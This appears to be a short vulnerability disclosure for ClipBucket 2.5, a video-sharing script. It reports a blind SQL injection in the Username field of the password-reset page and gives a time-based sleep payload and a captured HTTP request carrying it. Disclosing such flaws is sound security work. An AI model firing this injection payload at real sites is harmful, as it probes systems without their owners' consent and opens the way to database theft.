Clipbucket 2.5 Blind SQL Injection

`# Author: loneferret of Offensive Security  
# Product: ClipBucket  
# Version: 2.5 (and maybe older versions)  
# Vendor Site: http://clip-bucket.com/  
# Software Download: http://sourceforge.net/projects/clipbucket/  
  
# Software description:  
# ClipBucket is an OpenSource Multimedia Management Script Provided Free to the Community.This script comes with all  
# the bells & whistles required to start your own Video Sharing website like Youtube, Metacafe, Veoh, Hulu or any  
# other top video distribution application in matter of minutes. ClipBucket is fastest growing script which was  
# first started as Youtube Clone but now its advance features & enhancements makes it the most versatile, reliable &  
# scalable media distribution platform with latest social networking features, while staying light on your pockets.  
# Whether you are a small fan club or a big Multi Tier Network operator, Clipbucket will fulfill your video  
# management needs.  
  
# Vulnerability:  
# Blind SQLi  
# Due to improperly sanitized user input a SQL Injection is present in the "Forgot Password" page.  
  
# PoC:  
# Page: http://<server>/forgot.php  
# Field: Username  
# Payload: -1' or sleep(5) and '1'='1  
  
# Host: 172.16.194.148  
# User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1  
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
# Accept-Language: en-us,en;q=0.5  
# Accept-Encoding: gzip, deflate  
# DNT: 1  
# Connection: keep-alive  
# Referer: http://172.16.194.148/upload/forgot.php  
# Cookie: quick_list_box=show; current_style=list_view; sess_salt=5f3f5; fws_guest=81172578; sk-id=-305383665; PHPSESSID=0c1519dace9f217955cdc58ac55b28b2  
# Content-Type: application/x-www-form-urlencoded  
# Content-Length: 68  
  
# forgot_username=-1%27+or+sleep%285%29+and+%271%27%3D%271&reset=Reset  
  
`